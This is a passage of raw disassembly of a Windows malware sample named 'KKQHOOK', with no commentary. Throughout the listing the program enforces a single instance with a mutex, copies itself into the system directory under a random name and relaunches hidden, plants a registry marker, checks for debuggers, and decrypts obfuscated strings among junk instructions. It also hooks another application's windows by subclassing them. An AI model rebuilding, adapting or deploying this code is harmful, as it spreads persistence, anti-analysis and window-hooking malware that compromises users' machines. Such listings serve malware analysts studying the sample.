inc [ebp+var_5600]
loc_40A867: ; CODE XREF: sub_4098A8+395j
; sub_4098A8+3AEj ...
lea eax, [ebp+Dst]
push eax ; Dst
push [ebp+var_708] ; int
push [ebp+hMem] ; int
call sub_401BB7
add esp, 0Ch
mov [ebp+var_708], eax
or eax, eax
jnz loc_409C42
push [ebp+hMem] ; hMem
call LocalFree ; LocalFree
call GetVersion ; GetVersion
loc_40A8A0: ; CODE XREF: sub_4098A8+2FBj
; sub_4098A8+35Bj ...
call sub_408B4C
call GetLastError
fld dbl_446C44
fimul dword_43C0BC
mov edi, eax
call sub_40C630
xchg eax, edi
push edi ; X
call abs ; abs
mov edi, dword_43C0C0
sub edi, eax
inc edi
mov [ebp+var_1014], edi
mov eax, dword_446A33
mov [ebp+var_1162], eax
mov eax, edi
mov [ebp-15C8h], eax
push eax ; X
call abs ; abs
add esp, 8
mov edi, [ebp-15C8h]
add edi, eax
mov [ebp+var_1014], edi
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, edi
mov edi, dword_43C0C0
sub edi, dword_43C0BC
mov ecx, edi
inc ecx
xor edx, edx
div ecx
mov [ebp+var_15CC], eax
mov [ebp+var_1014], eax
call IsDebuggerPresent ; IsDebuggerPresent
call rand ; rand
mov [ebp+var_15D0], eax
mov eax, dword_43C0BC
mov edx, 66666667h
push ecx
mov ecx, eax
imul edx
sar edx, 1
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
lea edi, [eax+eax*4]
mov esi, [ebp+var_1014]
mov edx, [ebp+var_15D0]
mov eax, esi
imul eax, [ebp+var_15D0]
mov ecx, 0Ah
cdq
idiv ecx
lea edi, [edi+edx+5]
mov dword_43C0BC, edi
call GetTickCount ; GetTickCount
mov eax, dword_43C0C0
cmp dword_43C0BC, eax
jbe short loc_40A98F
and dword_43C0BC, 0
loc_40A98F: ; CODE XREF: sub_4098A8+10DEj
lea edi, [ebp+var_1163]
lea esi, byte_446A37
xor ecx, ecx
inc ecx
rep movsb
push 30D40h ; Duration
call _sleep ; _sleep
pop ecx
call GetLastError
jmp loc_40993B
sub_4098A8 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9BC proc near ; CODE XREF: sub_40AA24+11p
var_C = dword ptr -0Ch
hObject = dword ptr -8
var_2 = word ptr -2
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
call GetVersion ; GetVersion
mov [ebp+var_2], 7C9Bh
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2], ax
push offset Name ; "KKQHOOK_29"
push 0 ; bInheritHandle
push 1F0001h ; dwDesiredAccess
call OpenMutexA ; OpenMutexA
mov [ebp+hObject], eax
or eax, eax
jz short loc_40AA21
call GetLastError
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
mov [ebp+var_C], 7B70h
sub [ebp+var_C], 2C79h
mov eax, 13h
sub eax, dword_43C098
push eax ; Code
call exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_40AA21: ; CODE XREF: sub_40A9BC+36j
pop edi
leave
retn
sub_40A9BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40AA24(HMODULE hModule, int, int, int)
sub_40AA24 proc near ; CODE XREF: sub_40C654+5Cp
var_7CF = byte ptr -7CFh
var_7C8 = dword ptr -7C8h
var_7C3 = byte ptr -7C3h
var_7C1 = byte ptr -7C1h
var_7C0 = dword ptr -7C0h
var_7BC = dword ptr -7BCh
var_7B8 = dword ptr -7B8h
ThreadId = dword ptr -7B4h
var_7AF = byte ptr -7AFh
var_7AC = word ptr -7ACh
var_7AA = byte ptr -7AAh
var_7A2 = byte ptr -7A2h
var_79F = byte ptr -79Fh
var_797 = word ptr -797h
var_795 = byte ptr -795h
var_792 = byte ptr -792h
var_78C = byte ptr -78Ch
Type = dword ptr -784h
var_780 = dword ptr -780h
var_77C = word ptr -77Ch
SubKey = byte ptr -77Ah
var_67B = byte ptr -67Bh
Filename = byte ptr -57Ch
var_478 = dword ptr -478h
cbData = dword ptr -474h
ExistingFileName= byte ptr -470h
hObject = dword ptr -36Ch
var_367 = byte ptr -367h
var_366 = word ptr -366h
var_364 = dword ptr -364h
var_360 = dword ptr -360h
Format = byte ptr -35Bh
Dest = byte ptr -2F7h
var_293 = byte ptr -293h
var_292 = word ptr -292h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_286 = word ptr -286h
var_284 = dword ptr -284h
var_27E = word ptr -27Eh
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_272 = word ptr -272h
NewFileName = byte ptr -270h
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_167 = byte ptr -167h
var_166 = word ptr -166h
var_164 = word ptr -164h
FileName = byte ptr -161h
var_5D = byte ptr -5Dh
Data = byte ptr -5Ch
WndClass = WNDCLASSA ptr -55h
var_2D = byte ptr -2Dh
var_27 = byte ptr -27h
var_26 = byte ptr -26h
var_25 = byte ptr -25h
Msg = MSG ptr -1Dh
var_1 = byte ptr -1
hModule = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
call GetLastError
call sub_40A9BC
call GetCurrentProcessId ; GetCurrentProcessId
mov ax, word_446A38
mov [ebp+var_77C], ax
push 104h ; uSize
lea eax, [ebp+FileName]
push eax ; lpBuffer
call GetSystemDirectoryA ; GetSystemDirectoryA
mov [ebp+var_164], 7225h
sub [ebp+var_164], 4952h
push 13h ; Size
push offset byte_446C2F ; Src
call sub_40129C
push eax ; Source
lea edi, [ebp+FileName]
push edi ; Dest
call strcat ; strcat
add esp, 10h
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000001h ; dwDesiredAccess
lea eax, [ebp+FileName]
push eax ; lpFileName
call CreateFileA ; CreateFileA
mov [ebp+hObject], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40AAB8
call sub_40844F
jmp short loc_40AAC3
; ---------------------------------------------------------------------------
loc_40AAB8: ; CODE XREF: sub_40AA24+8Bj
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
loc_40AAC3: ; CODE XREF: sub_40AA24+92j
call GetLastError
push 9 ; Size
push offset byte_446C25 ; Src
call sub_40129C
push eax ; lpString
call GlobalAddAtomA ; GlobalAddAtomA
call GetVersion ; GetVersion
mov eax, [ebp+hModule]
mov hInstance, eax
mov VersionInformation.dwOSVersionInfoSize, 94h
call GetLastError
push offset VersionInformation ; lpVersionInformation
call GetVersionExA ; GetVersionExA
mov [ebp+var_166], 14B0h
movzx eax, [ebp+var_166]
imul eax, 2D29h
mov [ebp+var_166], ax
push 0FFh ; uSize
push offset Buffer ; lpBuffer
call GetSystemDirectoryA ; GetSystemDirectoryA
mov [ebp+var_167], 6Eh
movzx eax, [ebp+var_167]
imul eax, 5351h
mov [ebp+var_167], al
call GetTickCount ; GetTickCount
push eax ; Seed
call srand ; srand
mov [ebp+var_168], 59h
movzx eax, [ebp+var_168]
imul eax, 49B8h
mov [ebp+var_168], al
mov eax, dword_446A3A
mov [ebp+var_780], eax
push 104h ; nSize
lea eax, [ebp+ExistingFileName]
push eax ; lpFilename
push [ebp+hModule] ; hModule
call GetModuleFileNameA ; GetModuleFileNameA
call GetLastError
and dword ptr [ebp+Data], 0
mov [ebp+cbData], 4
mov [ebp+var_16C], 665Eh
mov eax, 6DB4h
mul [ebp+var_16C]
mov [ebp+var_7B8], eax
mov [ebp+var_16C], eax
lea eax, [ebp+Type]
push eax ; lpType
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Data]
push eax ; lpData
push offset ClassName ; "KKQHOOK"
push offset SubKey ; "Software\\Microsoft\\Windows"
push 80000001h ; hKey
call sub_4014C9
add esp, 24h
mov [ebp+var_478], eax
mov [ebp+var_5D], 0FBh
movzx eax, [ebp+var_5D]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_5D], al
cmp [ebp+var_478], 0
jz short loc_40AC5D
lea edi, [ebp+var_7C1]
lea esi, word_446A3E
mov ecx, 5
rep movsb
cmp dword ptr [ebp+Data], 1Dh
jbe short loc_40AC32
mov eax, 6
sub eax, dword_43C094
push eax ; Code
call exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_40AC32: ; CODE XREF: sub_40AA24+1FAj
cmp dword ptr [ebp+Data], 1Dh
jz loc_40AE0C
mov [ebp+var_7BC], 6267h
mov eax, 5DE7h
mul [ebp+var_7BC]
mov [ebp+var_7C8], eax
mov [ebp+var_7BC], eax
loc_40AC5D: ; CODE XREF: sub_40AA24+1E1j
lea edi, [ebp+var_78C]
lea esi, byte_446A43
movsd
movsd
lea edi, [ebp+var_792]
lea esi, aWq6ug ; "wq6Ug"
mov ecx, 3
rep movsw
call rand ; rand
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
add edi, 41h
mov edx, edi
mov [ebp+var_2D], dl
mov [ebp+var_272], 223Eh
movzx eax, [ebp+var_272]
imul eax, 298Dh
mov [ebp+var_272], ax
mov [ebp+var_1], 1
jmp short loc_40ACF3
; ---------------------------------------------------------------------------
loc_40ACC6: ; CODE XREF: sub_40AA24+2D4j
call rand ; rand
movzx edi, [ebp+var_1]
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov esi, eax
add esi, 61h
mov edx, esi
mov [ebp+edi+var_2D], dl
add [ebp+var_1], 1
loc_40ACF3: ; CODE XREF: sub_40AA24+2A0j
mov al, [ebp+var_1]
cmp al, 8
jbe short loc_40ACC6
call GetCurrentProcessId ; GetCurrentProcessId
mov [ebp+var_25], 0
call rand ; rand
mov edx, eax
test dl, 1
jnz short loc_40AD21
call GetLastError
mov [ebp+var_27], 33h
call GetCurrentProcessId ; GetCurrentProcessId
mov [ebp+var_26], 32h
loc_40AD21: ; CODE XREF: sub_40AA24+2E9j
push 9 ; Size
push offset byte_446C1B ; Src
call sub_40129C
lea edi, [ebp+var_2D]
push edi
push offset Buffer
push eax ; Format
lea edi, [ebp+NewFileName]
push edi ; Dest
call sprintf ; sprintf
lea edi, [ebp+var_795]
lea esi, aRf ; "rf"
mov ecx, 3
rep movsb
push 0 ; bFailIfExists
lea eax, [ebp+NewFileName]
push eax ; lpNewFileName
lea eax, [ebp+ExistingFileName]
push eax ; lpExistingFileName
call CopyFileA ; CopyFileA
mov [ebp+var_278], 1F00h
add [ebp+var_278], 2126h
lea eax, [ebp+var_2D]
push eax
call sub_403BE7
mov ax, word_446A54
mov [ebp+var_797], ax
mov dword ptr [ebp+Data], 1Dh
push 4 ; dwType
push 4 ; cbData
lea eax, [ebp+Data]
push eax ; lpData
push offset ClassName ; "KKQHOOK"
push offset SubKey ; "Software\\Microsoft\\Windows"
push 80000001h ; hKey
call sub_40160A
add esp, 34h
push 0 ; uCmdShow
lea eax, [ebp+NewFileName]
push eax ; lpCmdLine
call WinExec ; WinExec
mov ebx, 5146h
mov eax, 3A35h
mul ebx
mov [ebp+var_7BC], eax
mov ebx, eax
call sub_40406B
mov [ebp+var_27C], 7EF6h
add [ebp+var_27C], 2A96h
mov eax, 13h
sub eax, dword_43C098
push eax ; uExitCode
call ExitProcess ; ExitProcess
; ---------------------------------------------------------------------------
call GetLastError
loc_40AE0C: ; CODE XREF: sub_40AA24+212j
push 5 ; Size
push offset byte_446C15 ; Src
call sub_40129C
push offset byte_446C0B
push offset Buffer
push eax ; Format
push offset byte_41FA00 ; Dest
call sprintf ; sprintf
call GetCurrentThreadId ; GetCurrentThreadId
push 5 ; Size
push offset byte_446C15 ; Src
call sub_40129C
push offset byte_446C01
push offset Buffer
push eax ; Format
push offset FileName ; Dest
call sprintf ; sprintf
call GetCurrentThreadId ; GetCurrentThreadId
push 5 ; Size
push offset byte_446C15 ; Src
call sub_40129C
push offset dword_446BF4
push offset Buffer
push eax ; Format
push offset byte_40E080 ; Dest
call sprintf ; sprintf
mov [ebp+var_27E], 3039h
inc [ebp+var_27E]
push 0Eh ; Size
push offset byte_446BE5 ; Src
call sub_40129C
push offset Buffer
push eax ; Format
push offset ExistingFileName ; Dest
call sprintf ; sprintf
push 0FFh ; uSize
push offset byte_415080 ; lpBuffer
call GetWindowsDirectoryA ; GetWindowsDirectoryA
mov [ebp+var_284], 5F78h
mov eax, 6104h
mul [ebp+var_284]
mov [ebp+var_7C0], eax
mov [ebp+var_284], eax
push 9 ; Size
push offset byte_446BDB ; Src
call sub_40129C
push eax ; Source
push offset byte_415080 ; Dest
call strcat ; strcat
mov [ebp+var_286], 8EFh
sub [ebp+var_286], 6AEAh
lea eax, ClassName ; "KKQHOOK"
mov [ebp+WndClass.lpszClassName], eax
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, hInstance
mov [ebp+WndClass.hInstance], eax
lea eax, sub_40B3E8
mov [ebp+WndClass.lpfnWndProc], eax
push 7F00h ; lpCursorName
push 0 ; hInstance
call LoadCursorA ; LoadCursorA
mov [ebp+WndClass.hCursor], eax
mov [ebp+var_28C], 5A0Bh
inc [ebp+var_28C]
push 7F03h ; lpIconName
push 0 ; hInstance
call LoadIconA ; LoadIconA
mov [ebp+WndClass.hIcon], eax
call GetTickCount ; GetTickCount
and [ebp+WndClass.lpszMenuName], 0
push 0 ; i
call GetStockObject ; GetStockObject
mov [ebp+WndClass.hbrBackground], eax
lea edi, [ebp+var_79F]
lea esi, word_446A56
movsd
movsd
mov [ebp+WndClass.style], 3
and [ebp+WndClass.cbClsExtra], 0
and [ebp+WndClass.cbWndExtra], 0
lea eax, [ebp+WndClass]
push eax ; lpWndClass
call RegisterClassA ; RegisterClassA
mov [ebp+var_290], 4E7Bh
sub [ebp+var_290], 7B38h
push 0 ; lpParam
push hInstance ; hInstance
push 0 ; hMenu
push 0 ; hWndParent
push 0 ; nHeight
push 0 ; nWidth
push 0 ; Y
push 0 ; X
push 0CA0000h ; dwStyle
push offset ClassName ; "KKQHOOK"
push offset ClassName ; "KKQHOOK"
push 0 ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov dword_41C7BC, eax
push offset Name ; "KKQHOOK_29"
push 0 ; bInitialOwner
push 0 ; lpMutexAttributes
call CreateMutexA ; CreateMutexA
call GetVersion ; GetVersion
push 2
call sub_402A48
add esp, 70h
call GetLastError
call GetVersion ; GetVersion
cmp eax, 80000000h
jb short loc_40B05B
mov eax, dword_446A5E
mov [ebp+var_7C8], eax
push 0Ch ; Size
push offset word_446BCE ; Src
call sub_40129C
push eax ; lpModuleName
call GetModuleHandleA ; GetModuleHandleA
mov edi, eax
push 16h ; Size
push offset aJZaJzJvDjZz ; "†±³½§ ±¦‡±¦¢½·±„¦»·±§§"
call sub_40129C
add esp, 10h
push eax ; lpProcName
push edi ; hModule
call GetProcAddress ; GetProcAddress
mov [ebp-7C4h], eax
call GetCurrentProcessId ; GetCurrentProcessId
mov edi, 13h
sub edi, dword_43C098
push edi
push eax
call dword ptr [ebp-7C4h]
lea edi, [ebp+var_7CF]
lea esi, word_446A62
mov ecx, 7
rep movsb
loc_40B05B: ; CODE XREF: sub_40AA24+5CFj
push 104h ; nSize
lea eax, [ebp+Filename]
push eax ; lpFilename
push 0 ; hModule
call GetModuleFileNameA ; GetModuleFileNameA
mov [ebp+var_292], 1A3Fh
inc [ebp+var_292]
lea eax, [ebp+Filename]
push eax
call sub_40341E
push offset byte_41FA00
call sub_40341E
push offset FileName
call sub_40341E
call GetTickCount ; GetTickCount
push offset byte_40E080
call sub_40341E
call GetTickCount ; GetTickCount
call GetCurrentProcessId ; GetCurrentProcessId
push eax ; Val
call sub_4036BC
mov [ebp+var_293], 0A0h
sub [ebp+var_293], 3Ch
lea edi, [ebp+var_7A2]
lea esi, byte_446A69
mov ecx, 3
rep movsb
lea eax, [ebp+Dest]
push eax ; Dest
call sub_40399B
call GetCurrentProcessId ; GetCurrentProcessId
and [ebp+var_360], 0
mov [ebp+var_364], 64h
push 45h ; Size
push offset aZAgJIsJZAigGzi ; "‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§ˆ—¡¦¦±º ‚±¦§½"...
call sub_40129C
lea edi, [ebp+var_360]
push edi ; lpType
lea edi, [ebp+var_364]
push edi ; lpcbData
lea edi, [ebp+Format]
push edi ; lpData
lea edi, [ebp+Dest]
push edi ; lpValueName
push eax ; lpSubKey
push 80000002h ; hKey
call sub_4014C9
call GetLastError
push 1 ; Size
push offset byte_446B6F ; Src
call sub_40129C
push eax ; Source
lea edi, [ebp+Format]
push edi ; Format
call sub_4037CA
lea edi, [ebp+var_7AA]
lea esi, dword_446A6C
movsd
movsd
push 1 ; Size
push offset byte_446B6D ; Src
call sub_40129C
push eax ; Source
lea edi, [ebp+Dest]
push edi ; Format
call sub_4037CA
call GetTickCount ; GetTickCount
mov ax, word_446A74
mov [ebp+var_7AC], ax
push 17h ; Size
push offset byte_446B55 ; Src
call sub_40129C
lea edi, [ebp+Format]
push edi
push eax ; Format
lea edi, [ebp+SubKey]
push edi ; Dest
call sprintf ; sprintf
lea edi, [ebp+var_7AF]
lea esi, word_446A76
mov ecx, 3
rep movsb
lea eax, [ebp+var_360]
push eax ; lpType
lea eax, [ebp+var_364]
push eax ; lpcbData
lea eax, [ebp+var_67B]
push eax ; lpData
push 0 ; lpValueName
lea eax, [ebp+SubKey]
push eax ; lpSubKey
push 80000000h ; hKey
call sub_4014C9
lea eax, [ebp+var_67B]
push eax
call sub_40341E
call IsDebuggerPresent ; IsDebuggerPresent
call sub_403A5F
mov [ebp+var_366], 6996h
movzx eax, [ebp+var_366]
imul eax, 6E78h
mov [ebp+var_366], ax
push offset sub_408048
call sub_407F07
add esp, 8Ch
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push offset sub_4098A8 ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread ; CreateThread
push eax ; hObject
call CloseHandle ; CloseHandle
call GetCurrentThreadId ; GetCurrentThreadId
push 0 ; lpTimerFunc
mov eax, dword_43C094
add eax, 1EFh
push eax ; uElapse
mov eax, 13h
sub eax, dword_43C098
push eax ; nIDEvent
push dword_41C7BC ; hWnd
call SetTimer ; SetTimer
mov [ebp+var_367], 0ADh
add [ebp+var_367], 1
jmp short loc_40B2B0
; ---------------------------------------------------------------------------
loc_40B280: ; CODE XREF: sub_40AA24+89Dj
lea edi, [ebp+var_7C3]
lea esi, byte_446A79
mov ecx, 3
rep movsb
lea eax, [ebp+Msg]
push eax ; lpMsg
call TranslateMessage ; TranslateMessage
mov eax, dword_446A7C
mov [ebp+var_7C8+1], eax
lea eax, [ebp+Msg]
push eax ; lpMsg
call DispatchMessageA ; DispatchMessageA
loc_40B2B0: ; CODE XREF: sub_40AA24+85Aj
push 0 ; wMsgFilterMax
push 0 ; wMsgFilterMin
push 0 ; hWnd
lea eax, [ebp+Msg]
push eax ; lpMsg
call GetMessageA ; GetMessageA
or eax, eax
jnz short loc_40B280
pop edi
pop esi
pop ebx
leave
retn 10h
sub_40AA24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40B2CA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
sub_40B2CA proc near ; DATA XREF: sub_408ED0+917o
; sub_408ED0+94Fo ...
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_7 = byte ptr -7
var_6 = word ptr -6
lpPrevWndFunc = dword ptr -4
hWnd = dword ptr 8
Msg = dword ptr 0Ch
wParam = dword ptr 10h
lParam = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+hWnd]
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, [ebp+Msg]
cmp eax, 100h
jz short loc_40B2EC
jmp short loc_40B35A
; ---------------------------------------------------------------------------
call GetVersion ; GetVersion
loc_40B2EC: ; CODE XREF: sub_40B2CA+19j
call GetProcessHeap ; GetProcessHeap
cmp [ebp+wParam], 9
jnz short loc_40B35A
mov eax, dword_446A80
mov [ebp+var_14], eax
cmp ebx, dword_41081C
jnz short loc_40B312
push dword_432DC0 ; hWnd
call SetFocus ; SetFocus
loc_40B312: ; CODE XREF: sub_40B2CA+3Bj
call GetVersion ; GetVersion
cmp ebx, dword_432DC0
jnz short loc_40B32A
push dword_41E8C4 ; hWnd
call SetFocus ; SetFocus
loc_40B32A: ; CODE XREF: sub_40B2CA+53j
call GetCurrentProcessId ; GetCurrentProcessId
cmp ebx, dword_41E8C4
jnz short loc_40B342
push dword_41E8BC ; hWnd
call SetFocus ; SetFocus
loc_40B342: ; CODE XREF: sub_40B2CA+6Bj
cmp ebx, dword_41E8BC
jnz short loc_40B355
push dword_432DC0 ; hWnd
call SetFocus ; SetFocus
loc_40B355: ; CODE XREF: sub_40B2CA+7Ej
call GetProcessHeap ; GetProcessHeap
loc_40B35A: ; CODE XREF: sub_40B2CA+1Bj
; sub_40B2CA+2Bj
and [ebp+lpPrevWndFunc], 0
cmp ebx, dword_432DC0
jnz short loc_40B36E
mov eax, dword_41F9F4
mov [ebp+lpPrevWndFunc], eax
loc_40B36E: ; CODE XREF: sub_40B2CA+9Aj
cmp ebx, dword_41E8C4
jnz short loc_40B37E
mov eax, dword_41E8C0
mov [ebp+lpPrevWndFunc], eax
loc_40B37E: ; CODE XREF: sub_40B2CA+AAj
mov [ebp+var_6], 5304h
sub [ebp+var_6], 7ADBh
cmp ebx, dword_41081C
jnz short loc_40B39A
mov eax, dword_40E078
mov [ebp+lpPrevWndFunc], eax
loc_40B39A: ; CODE XREF: sub_40B2CA+C6j
call GetCurrentProcessId ; GetCurrentProcessId
cmp ebx, dword_41E8BC
jnz short loc_40B3AF
mov eax, dword_413F1C
mov [ebp+lpPrevWndFunc], eax
loc_40B3AF: ; CODE XREF: sub_40B2CA+DBj
lea edi, [ebp+var_C]
lea esi, dword_446A84
mov ecx, 5
rep movsb
cmp [ebp+lpPrevWndFunc], 0
jz short loc_40B3D9
push [ebp+lParam] ; lParam
push [ebp+wParam] ; wParam
push [ebp+Msg] ; Msg
push ebx ; hWnd
push [ebp+lpPrevWndFunc] ; lpPrevWndFunc
call CallWindowProcA ; CallWindowProcA
jmp short loc_40B3E1
; ---------------------------------------------------------------------------
loc_40B3D9: ; CODE XREF: sub_40B2CA+F9j
mov [ebp+var_7], 8Bh
add [ebp+var_7], 1
loc_40B3E1: ; CODE XREF: sub_40B2CA+10Dj
pop edi
pop esi
pop ebx
leave
retn 10h
sub_40B2CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40B3E8(int, UINT Msg, HDC wParam, LPARAM lParam)
sub_40B3E8 proc near ; DATA XREF: sub_40AA24+4F0o
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
plbrush = LOGBRUSH ptr -254h
hWnd = dword ptr -240h
var_23C = dword ptr -23Ch
lpText = dword ptr -238h
NumberOfBytesWritten= dword ptr -234h
Buffer = byte ptr -22Fh
var_130 = byte ptr -130h
var_12B = byte ptr -12Bh
var_126 = word ptr -126h
var_124 = byte ptr -124h
var_121 = dword ptr -121h
var_11D = byte ptr -11Dh
var_11A = byte ptr -11Ah
var_114 = dword ptr -114h
hObject = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
String = byte ptr -100h
var_1 = byte ptr -1
arg_0 = dword ptr 8
Msg = dword ptr 0Ch
wParam = dword ptr 10h
lParam = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 264h
push ebx
push esi
push edi
mov [ebp+var_1], 0C7h
add [ebp+var_1], 1
mov eax, [ebp+Msg]
cmp eax, 10h
jz loc_40B5E9
jg short loc_40B418
cmp eax, 2
jz loc_40B5CE
jmp loc_40BC0A
; ---------------------------------------------------------------------------
loc_40B418: ; CODE XREF: sub_40B3E8+20j
cmp eax, 111h
jz loc_40B709
cmp eax, 113h
jz short loc_40B453
cmp eax, 111h
jl loc_40BC0A
cmp eax, 138h
jz loc_40B605
jmp loc_40BC0A
; ---------------------------------------------------------------------------
mov [ebp+var_104], 0C5h
add [ebp+var_104], 26h
loc_40B453: ; CODE XREF: sub_40B3E8+40j
mov [ebp+var_108], 4FC7h
inc [ebp+var_108]
cmp dword_43C220, 0
jz loc_40B57B
mov [ebp+lpText], 1930h
add [ebp+lpText], 3C79h
push 9 ; Size
push offset aRIA ; "»·›¶¾±· "
call sub_40129C
push eax ; int
push dword_43C220 ; hWnd
call sub_408E12
mov [ebp+var_23C], eax
call GetCurrentProcessId ; GetCurrentProcessId
push 8 ; Size
push offset aSmdJJ ; "‘¬¤¸»¦±¦"
call sub_40129C
push eax ; int
push [ebp+var_23C] ; hWnd
call sub_408E12
add esp, 20h
mov [ebp+hWnd], eax
lea eax, [ebp+plbrush.lbColor]
push eax ; lpRect
push [ebp+hWnd] ; hWnd
call GetWindowRect ; GetWindowRect
or eax, eax
jz loc_40B57B
call GetTickCount ; GetTickCount
lea eax, [ebp+var_260]
push eax ; lpRect
push hWndParent ; hWnd
call GetWindowRect ; GetWindowRect
or eax, eax
jz short loc_40B57B
call GetVersion ; GetVersion
mov eax, [ebp-248h]
sub eax, [ebp+plbrush.lbColor]
sub eax, 4
mov edx, [ebp+var_258]
sub edx, [ebp+var_260]
cmp eax, edx
jnz short loc_40B540
mov eax, [ebp-244h]
sub eax, [ebp+plbrush.lbHatch]
sub eax, 4
mov edx, [ebp+plbrush.lbStyle]
sub edx, [ebp+var_25C]
cmp eax, edx
jz short loc_40B57B
loc_40B540: ; CODE XREF: sub_40B3E8+137j
call GetVersion ; GetVersion
push 1 ; bRepaint
mov eax, [ebp-244h]
sub eax, [ebp+plbrush.lbHatch]
push eax ; nHeight
mov eax, [ebp-248h]
sub eax, [ebp+plbrush.lbColor]
push eax ; nWidth
push 0 ; Y
push 0 ; X
push hWndParent ; hWnd
call MoveWindow ; MoveWindow
mov eax, off_446A89
mov [ebp+var_264], eax
loc_40B57B: ; CODE XREF: sub_40B3E8+82j
; sub_40B3E8+F4j ...
cmp dword_43C21C, 0
jz loc_40BC22
mov [ebp+lpText], 5CFDh
mov eax, [ebp+lpText]
mov edx, eax
add edx, eax
mov [ebp+lpText], edx
mov eax, dword_43C21C
mov dword_43C220, eax
call GetTickCount ; GetTickCount
and dword_43C21C, 0
push dword_43C220 ; hWnd
call sub_408ED0
pop ecx
call GetProcessHeap ; GetProcessHeap
jmp loc_40BC22
; ---------------------------------------------------------------------------
loc_40B5CE: ; CODE XREF: sub_40B3E8+25j
mov eax, dword_41C7BC
cmp [ebp+arg_0], eax
jnz short loc_40B5DF
push 0 ; nExitCode
call PostQuitMessage ; PostQuitMessage
loc_40B5DF: ; CODE XREF: sub_40B3E8+1EEj
call GetProcessHeap ; GetProcessHeap
jmp loc_40BC22
; ---------------------------------------------------------------------------
loc_40B5E9: ; CODE XREF: sub_40B3E8+1Aj
mov eax, dword_41C7BC
cmp [ebp+arg_0], eax
jnz short loc_40B5FB
push [ebp+arg_0] ; hWnd
call DestroyWindow ; DestroyWindow
loc_40B5FB: ; CODE XREF: sub_40B3E8+209j
call GetLastError
jmp loc_40BC22
; ---------------------------------------------------------------------------
loc_40B605: ; CODE XREF: sub_40B3E8+52j
mov eax, [ebp+lParam]
mov [ebp+var_114], eax
cmp eax, dword_432DB8
jz short loc_40B642
cmp eax, dword_413F20
jz short loc_40B642
cmp eax, dword_41B7A8
jz short loc_40B642
cmp eax, dword_4351D8
jz short loc_40B642
cmp eax, dword_432DBC
jz short loc_40B642
cmp eax, dword_43A558
jnz loc_40BC22
loc_40B642: ; CODE XREF: sub_40B3E8+22Cj
; sub_40B3E8+234j ...
mov word ptr [ebp+lpText+2], 75BDh
movzx eax, word ptr [ebp+lpText+2]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+lpText+2], ax
mov eax, [ebp+var_114]
cmp eax, dword_432DBC
jz short loc_40B675
cmp eax, dword_43A558
jnz short loc_40B684
loc_40B675: ; CODE XREF: sub_40B3E8+283j
push 1010B0h ; color
push [ebp+wParam] ; hdc
call SetTextColor ; SetTextColor
jmp short loc_40B68E
; ---------------------------------------------------------------------------
loc_40B684: ; CODE XREF: sub_40B3E8+28Bj
push 0 ; color
push [ebp+wParam] ; hdc
call SetTextColor ; SetTextColor
loc_40B68E: ; CODE XREF: sub_40B3E8+29Aj
mov word ptr [ebp+lpText], 64CAh
movzx eax, word ptr [ebp+lpText]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+lpText], ax
push 0FFFFFFh ; color
push [ebp+wParam] ; hdc
call SetBkColor ; SetBkColor
mov byte ptr [ebp+var_23C+3], 5Dh
sub byte ptr [ebp+var_23C+3], 0FBh
and [ebp+plbrush.lbStyle], 0
and [ebp+plbrush.lbColor], 0
lea eax, [ebp+plbrush]
push eax ; plbrush
call CreateBrushIndirect ; CreateBrushIndirect
mov [ebp+hWnd], eax
lea edi, [ebp-248h]
lea esi, byte_446A8D
movsd
movsd
mov eax, [ebp+hWnd]
jmp loc_40BC22
; ---------------------------------------------------------------------------
call GetLastError
jmp loc_40BC22
; ---------------------------------------------------------------------------
loc_40B709: ; CODE XREF: sub_40B3E8+35j
lea edi, [ebp+var_11A]
lea esi, aGjvry ; "gjVRy"
